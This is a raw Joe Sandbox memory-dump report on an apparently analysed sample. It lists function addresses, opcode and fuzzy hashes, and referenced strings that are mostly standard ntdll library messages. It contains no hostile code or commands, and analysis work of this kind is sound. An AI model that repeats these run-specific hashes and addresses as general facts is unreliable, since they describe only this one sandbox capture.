Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 837db554e45ff6a2dc68a4a4575b6733c0c2ddf9406c4bf16ff87e6d67bd2d87
Instruction ID: 377211cbb6427dfa8b8e61a8e8cb3f23a7c7bf791478adfdfd1a95c9aad0f62d
Opcode Fuzzy Hash: 837db554e45ff6a2dc68a4a4575b6733c0c2ddf9406c4bf16ff87e6d67bd2d87
Instruction Fuzzy Hash: 1C90023220140403D1007158590C707000597D0201F56D421A0424558DD65A8A516221

Uniqueness

Uniqueness Score: -1.00%

Function 01A62CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 329187e0bf45e9b82df8fb11ce0599ac22a7c45ab5631d6e820dfe5e8d95d219
Instruction ID: 4f5fad5ffe2dc7efeaf0f110657b600425f42f411517f2bb3c9a5bde915c5f24
Opcode Fuzzy Hash: 329187e0bf45e9b82df8fb11ce0599ac22a7c45ab5631d6e820dfe5e8d95d219
Instruction Fuzzy Hash: 6A90022260540402D1407158581C706001597D0201F56D021A0024554DC65D8B5567A1

Uniqueness

Uniqueness Score: -1.00%

Function 01A62C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e4bbd8b169880a8150c453ae1bf61f35cd78fed072289a98aea3a7cc1a92f3d
Instruction ID: 2dea676fa37e6b7111e88480b073c44e64f2c898e6df168b445d87eb90d75aad
Opcode Fuzzy Hash: 6e4bbd8b169880a8150c453ae1bf61f35cd78fed072289a98aea3a7cc1a92f3d
Instruction Fuzzy Hash: D790023220140842D10071584808B46000597E0301F56C026A0124654DC619CA517621

Uniqueness

Uniqueness Score: -1.00%

Function 01A62FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac667575a1ca3731d8621685ba833f5377fe73809f31f03e4bf9721f3cc0b2c6
Instruction ID: 3a120887046fcfd29f414b158e594ec25830edb752a216a659c0a0e1321ce7d0
Opcode Fuzzy Hash: ac667575a1ca3731d8621685ba833f5377fe73809f31f03e4bf9721f3cc0b2c6
Instruction Fuzzy Hash: F090023220180402D10071584C0C747000597D0302F56C021A5164555EC669CA916631

Uniqueness

Uniqueness Score: -1.00%

Function 01A62FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a41a90ada8eab2b1b60dbeb8769ef34cddbeda7c3581a719b0f43385a2e119
Instruction ID: e8a84225e74cb83cc49abe2aabf74fb861fae560f31f500f7d244358d44559c7
Opcode Fuzzy Hash: 54a41a90ada8eab2b1b60dbeb8769ef34cddbeda7c3581a719b0f43385a2e119
Instruction Fuzzy Hash: 2390022260140042414071688C489064005BBE1211B56C131A0998550DC55D8A655765

Uniqueness

Uniqueness Score: -1.00%

Function 01A62F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41ad3b5665367504d34428a1467643b427d73df2ae9e01e114db02df6d8b1c7f
Instruction ID: 4e090933d67afe2928c6430d513e3ba84f9a9e914331974a43fdf31eb5aa62a6
Opcode Fuzzy Hash: 41ad3b5665367504d34428a1467643b427d73df2ae9e01e114db02df6d8b1c7f
Instruction Fuzzy Hash: 5990023220180402D10071584C1870B000597D0302F56C021A1164555DC6298A516671

Uniqueness

Uniqueness Score: -1.00%

Function 01A62FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 832454668e7abb921b3f8c1635cb7f5bacc7a93f879ea122e450f6b2b8942467
Instruction ID: 09bae28f302ca9a0024f51dc0680ed080b077b73ce2f2b773fdcb1ac59c9015b
Opcode Fuzzy Hash: 832454668e7abb921b3f8c1635cb7f5bacc7a93f879ea122e450f6b2b8942467
Instruction Fuzzy Hash: 7D900222211C0042D20075684C18B07000597D0303F56C125A0154554CC9198A615621

Uniqueness

Uniqueness Score: -1.00%

Function 01A62F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29fb95597a2a83ba4ec553acf417cc759cf21e3c95d3c9214d3bc45a87c2af70
Instruction ID: 78c92b37fd4439a88f012ae32e1ec1db1da999df297ad4c79831cf3a7e1112c2
Opcode Fuzzy Hash: 29fb95597a2a83ba4ec553acf417cc759cf21e3c95d3c9214d3bc45a87c2af70
Instruction Fuzzy Hash: 6690026234140442D10071584818B060005D7E1301F56C025E1064554DC61DCE526226

Uniqueness

Uniqueness Score: -1.00%

Function 01A62F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89c654f1c7e9ef2fe685e4a1fd6cd5075c888c9ea338e635863eda04d08436ba
Instruction ID: db2dbf32992b942a762b04ab82857f5bc7fa87fdabba2795919f9effc01a7d32
Opcode Fuzzy Hash: 89c654f1c7e9ef2fe685e4a1fd6cd5075c888c9ea338e635863eda04d08436ba
Instruction Fuzzy Hash: 6690026221140042D10471584808706004597E1201F56C022A2154554CC52D8E615225

Uniqueness

Uniqueness Score: -1.00%

Function 01A62EA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2113cefec34b478168b4e238cd45be525420de93753b8f985dc16aa2c8df22ff
Instruction ID: 1a62efefd4fb6d8644ecd5523d8d58870418e43a950040bf89ff0af5f13faa63
Opcode Fuzzy Hash: 2113cefec34b478168b4e238cd45be525420de93753b8f985dc16aa2c8df22ff
Instruction Fuzzy Hash: 5D90027220140402D14071584808746000597D0301F56C021A5064554EC65D8FD56765

Uniqueness

Uniqueness Score: -1.00%

Function 01A62E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3b4b59cebb5358de1fdd61bb53708a35f9f6e89f5f9364d2263071355bdab96
Instruction ID: 28a39eab4160cb77fb26d8fe8b943a22367f452d1ad41c9ba43f27926677cbe1
Opcode Fuzzy Hash: a3b4b59cebb5358de1fdd61bb53708a35f9f6e89f5f9364d2263071355bdab96
Instruction Fuzzy Hash: 4E90022260140502D10171584808616000A97D0241F96C032A1024555ECA298B92A231

Uniqueness

Uniqueness Score: -1.00%

Function 01A62EE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ead587dfb089e9489b6a925bacac5c9c47af0980d298d02f0af95373ed4bd72
Instruction ID: dfcec34c803764051747967df94c317c00fb4f452737bfe3c92546b567f4b0a4
Opcode Fuzzy Hash: 2ead587dfb089e9489b6a925bacac5c9c47af0980d298d02f0af95373ed4bd72
Instruction Fuzzy Hash: D390026220180403D14075584C08607000597D0302F56C021A2064555ECA2D8E516235

Uniqueness

Uniqueness Score: -1.00%

Function 01A62E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f149da3c84932321f9b205eccf077bdf08623c7bde263cce63aff92ca7c8f44
Instruction ID: ff70d4284cf138b05d882a73d611cdedecd89920057b5bb53d24b77f3bf0414d
Opcode Fuzzy Hash: 5f149da3c84932321f9b205eccf077bdf08623c7bde263cce63aff92ca7c8f44
Instruction Fuzzy Hash: 7790022230140402D102715848186060009D7D1345F96C022E1424555DC6298B53A232

Uniqueness

Uniqueness Score: -1.00%

Function 01A63090 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9855b7f2b32dc0951ada8c3d63fc83d3012b1aed906c802c591456ee23b9c786
Instruction ID: 78e1f13ef666533ef71de510a5b2c6eae02821cfa332619650a36e2dd2012938
Opcode Fuzzy Hash: 9855b7f2b32dc0951ada8c3d63fc83d3012b1aed906c802c591456ee23b9c786
Instruction Fuzzy Hash: DC90022224140802D140715888187070006D7D0601F56C021A0024554DC61A8B6567B1

Uniqueness

Uniqueness Score: -1.00%

Function 01A63010 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48b9e8476426e2fc979768b0d5c636c199f816de8bbb9d4046091387f93866f9
Instruction ID: 3a2376711fb95974150bfdac35e70fcf97a80d9e3cc6acf7410cb7c903fda832
Opcode Fuzzy Hash: 48b9e8476426e2fc979768b0d5c636c199f816de8bbb9d4046091387f93866f9
Instruction Fuzzy Hash: 9790022220184442D14072584C08B0F410597E1202F96C029A4156554CC9198A555721

Uniqueness

Uniqueness Score: -1.00%

Function 01A639B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4789d3057a32326a0052c1910eae46f561e582846e3bdb7742376edd504b0ed4
Instruction ID: 2a1b0350970e7683ca06150a86b1bae2e8ae98ba406fc66057f2d885d4361b27
Opcode Fuzzy Hash: 4789d3057a32326a0052c1910eae46f561e582846e3bdb7742376edd504b0ed4
Instruction Fuzzy Hash: 1390022224545102D150715C48086164005B7E0201F56C031A0814594DC5598A556321

Uniqueness

Uniqueness Score: -1.00%

Function 01A63D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d11c571780931bace1724f91d4711adb6028cf84673bd07c0859cd5bdeb11a9
Instruction ID: 77e35a45841744bfa50026395b96a8251fe24177ab0b3e7c360a2ad1c8a21297
Opcode Fuzzy Hash: 4d11c571780931bace1724f91d4711adb6028cf84673bd07c0859cd5bdeb11a9
Instruction Fuzzy Hash: EA90023220240142954072585C08A4E410597E1302F96D425A0015554CC9188A615321

Uniqueness

Uniqueness Score: -1.00%

Function 01A63D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 655c146994198dcca3ee886aed263aeb7d50b552f7e6aa8784f3a08f3c6ebff1
Instruction ID: cae4ed2fdb723e5991137a26f3b0eb4246a57897241f2b4c3df5b2202b30f164
Opcode Fuzzy Hash: 655c146994198dcca3ee886aed263aeb7d50b552f7e6aa8784f3a08f3c6ebff1
Instruction Fuzzy Hash: AD90023620140402D51071585C08646004697D0301F56D421A0424558DC6588AA1A221

Uniqueness

Uniqueness Score: -1.00%

Function 01A62C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 935a084a019acb074928c3ffb65cb14da1c66397b20f5e66a6eba827eaf535ed
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 01A62890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01A6293C
___swprintf_l.LIBCMT ref: 01A6295E
___swprintf_l.LIBCMT ref: 01A629A3
___swprintf_l.LIBCMT ref: 01A9A52E

Strings

ffff:, xrefs: 01A9A504
::%hs%u.%u.%u.%u, xrefs: 01A9A527
::ffff:0:%u.%u.%u.%u, xrefs: 01A9A54E
:%u.%u.%u.%u, xrefs: 01A9A5B8

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: a0898ff8bddca5fed2186e66f9a49b4d79c71f4bac9cc710cfd89c3c71cdaa6b
Instruction ID: 146b5b83e14462b1dd84f0d63690b92ded48423d35bedd21a74de216647a17ed
Opcode Fuzzy Hash: a0898ff8bddca5fed2186e66f9a49b4d79c71f4bac9cc710cfd89c3c71cdaa6b
Instruction Fuzzy Hash: 7851C4B6A00116BFDF11DFAC8D90A7EFBB8BB48240714C16AE569D7641D334DE408BA0

Uniqueness

Uniqueness Score: -1.00%

Function 01AD2410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01AD24A6
___swprintf_l.LIBCMT ref: 01AD24E2
___swprintf_l.LIBCMT ref: 01AD257D
___swprintf_l.LIBCMT ref: 01AD25A3
___swprintf_l.LIBCMT ref: 01AD25C8
___swprintf_l.LIBCMT ref: 01AD2608

Strings

ffff:, xrefs: 01AD247D, 01AD249D
::ffff:0:%u.%u.%u.%u, xrefs: 01AD24DA
::%hs%u.%u.%u.%u, xrefs: 01AD249E
:%u.%u.%u.%u, xrefs: 01AD25FF

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 7d5777186d9322af6434ded93d767394fb78a992ffa2e579f147782c38a32ea6
Instruction ID: 688b0f9ea7a310a1f07a25f4f091ff1f6d00fcf3299f6c522482beb420bcc6fd
Opcode Fuzzy Hash: 7d5777186d9322af6434ded93d767394fb78a992ffa2e579f147782c38a32ea6
Instruction Fuzzy Hash: 74511AB5A00A46AEDF31DF6CCD90A7FBBF8EF44200B44846AE597D7642D674DA40C760

Uniqueness

Uniqueness Score: -1.00%

Function 01A57630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 01A946FC
Execute=1, xrefs: 01A94713
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01A94725
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01A94655
CLIENT(ntdll): Processing section info %ws..., xrefs: 01A94787
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01A94742
ExecuteOptions, xrefs: 01A946A0

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 1810032152155f938d71186bd5e0a07e09d157be5c44f5d9cfe959585cad7e9d
Instruction ID: a723f5bde753b7c8cf0c28f7c2e0bdc84041463dfcfbede56ce992443f411b2e
Opcode Fuzzy Hash: 1810032152155f938d71186bd5e0a07e09d157be5c44f5d9cfe959585cad7e9d
Instruction Fuzzy Hash: A451F931604219BAEF11ABE9ED85FFD77BCEF18304F840099DA05B7181E7719A458F61

Uniqueness

Uniqueness Score: -1.00%

Function 01A6B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 01A6B6BF

Strings

-, xrefs: 01A6B650
0, xrefs: 01A6B66F
0, xrefs: 01A6B695
+, xrefs: 01A6B65A

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: 93df71772c3b377f630fc647301d25f8b341baacdf1d8e4095786a7022a98515
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: C881AE74F4624A9EEF258F6CC8917FEBBBAAF45320F1C4119D961E7291C73898408B71

Uniqueness

Uniqueness Score: -1.00%

Function 01AD20E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01AD214F
___swprintf_l.LIBCMT ref: 01AD2172

Strings

[, xrefs: 01AD212B
%%%u, xrefs: 01AD2146
]:%u, xrefs: 01AD2169

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: fe72265e11bd1edf1accfeec91bbca76a2d68c687fbcba149304a31ae07b6764
Instruction ID: b94623b4e2060a5ebd36777c792496db9207ec496fb4b912d236397ae2528aea
Opcode Fuzzy Hash: fe72265e11bd1edf1accfeec91bbca76a2d68c687fbcba149304a31ae07b6764
Instruction Fuzzy Hash: B921317AA00619ABDB11DF79DD40AAEBBF8EF58654F484126F915E3204E7309A01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A4F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 01A902E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 01A902BD
RTL: Re-Waiting, xrefs: 01A9031E

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 21a3cb7a88060990964c85f52bcb2e92df785f8b3d64d55e062488f04fe498ee
Instruction ID: 1b32dd4d51a43cf4b185d2e5f3e6463c48107936192b0ca07cfaa5b58d74f248
Opcode Fuzzy Hash: 21a3cb7a88060990964c85f52bcb2e92df785f8b3d64d55e062488f04fe498ee
Instruction Fuzzy Hash: D0E19D706047419FEB25CF2CC984B2ABBE4BF84354F140A59F6A5CB2E1D774D985CB42

Uniqueness

Uniqueness Score: -1.00%

Function 01A5BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 01A97BAC
RTL: Resource at %p, xrefs: 01A97B8E
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01A97B7F

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: c91981476758d02573ad80d8fed255d47e76406cc785e6691b2937750758fc2e
Instruction ID: 56cf6e8db9051085d56b3ab74d6fc87181462afc3e605d9e5ae7024acfc244dd
Opcode Fuzzy Hash: c91981476758d02573ad80d8fed255d47e76406cc785e6691b2937750758fc2e
Instruction Fuzzy Hash: 1041E3317047029FDB25DF29D940B6AB7E6EF98711F100A1DFD5A97280DB31E8498BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A5B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01A9728C

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01A97294
RTL: Re-Waiting, xrefs: 01A972C1
RTL: Resource at %p, xrefs: 01A972A3

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 13d36dbaeed420c13da1bb89616462d5bca7189d5afae254c579fcc0f23757b6
Instruction ID: 88163550a3cdb9d67054f4494631467178828e7793b8feb7f96456ae800bfb70
Opcode Fuzzy Hash: 13d36dbaeed420c13da1bb89616462d5bca7189d5afae254c579fcc0f23757b6
Instruction Fuzzy Hash: 4C411031614202ABCB21CF69CC41B6ABBF6FF94711F140619FD55AB281DB31E8568BE1

Uniqueness

Uniqueness Score: -1.00%

Function 01AD2300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01AD238D
___swprintf_l.LIBCMT ref: 01AD23B3

Strings

%%%u, xrefs: 01AD2384
]:%u, xrefs: 01AD23AA

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 41eed253ed260854a1e199689006a4822e339e933350154c3723a32a87ffbcab
Instruction ID: 92ffcf7c056f43d2bd64fbc490acab8d5a79381ec0f9f6e5fe8add6b65e1bd49
Opcode Fuzzy Hash: 41eed253ed260854a1e199689006a4822e339e933350154c3723a32a87ffbcab
Instruction Fuzzy Hash: 4F318276A006199FDB21DF2DCD40BEEB7B8EF54610F44455AED4AE3200EF30AA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01A67D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 01A67E8B

Strings

+, xrefs: 01A67DE8
-, xrefs: 01A67DDD

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction ID: 7d2d80b98096fd9523f5d04643dff745229c0e5dd71ae89a6b31a6281c430afb
Opcode Fuzzy Hash: 99ca5d320493ee8ecfac6479c2384e7848b43d072adb6e2058c73728248a7f31
Instruction Fuzzy Hash: 4F91B4B1E102169FEB24DFADC880ABEBBBDEF44728F54451AE955E72C0D7348940CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01A29126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 01A29175
$, xrefs: 01A29191

Memory Dump Source

Source File: 00000002.00000002.2063166629.00000000019F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 019F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_19f0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: f48f05b796db95095b1060f0a284d5d5b8837864866b2e48e0a342ca5de527b1
Instruction ID: dafe34c143ef51f7c078b58956010a25099f25dace6a0250aa7282d2d65d3076
Opcode Fuzzy Hash: f48f05b796db95095b1060f0a284d5d5b8837864866b2e48e0a342ca5de527b1
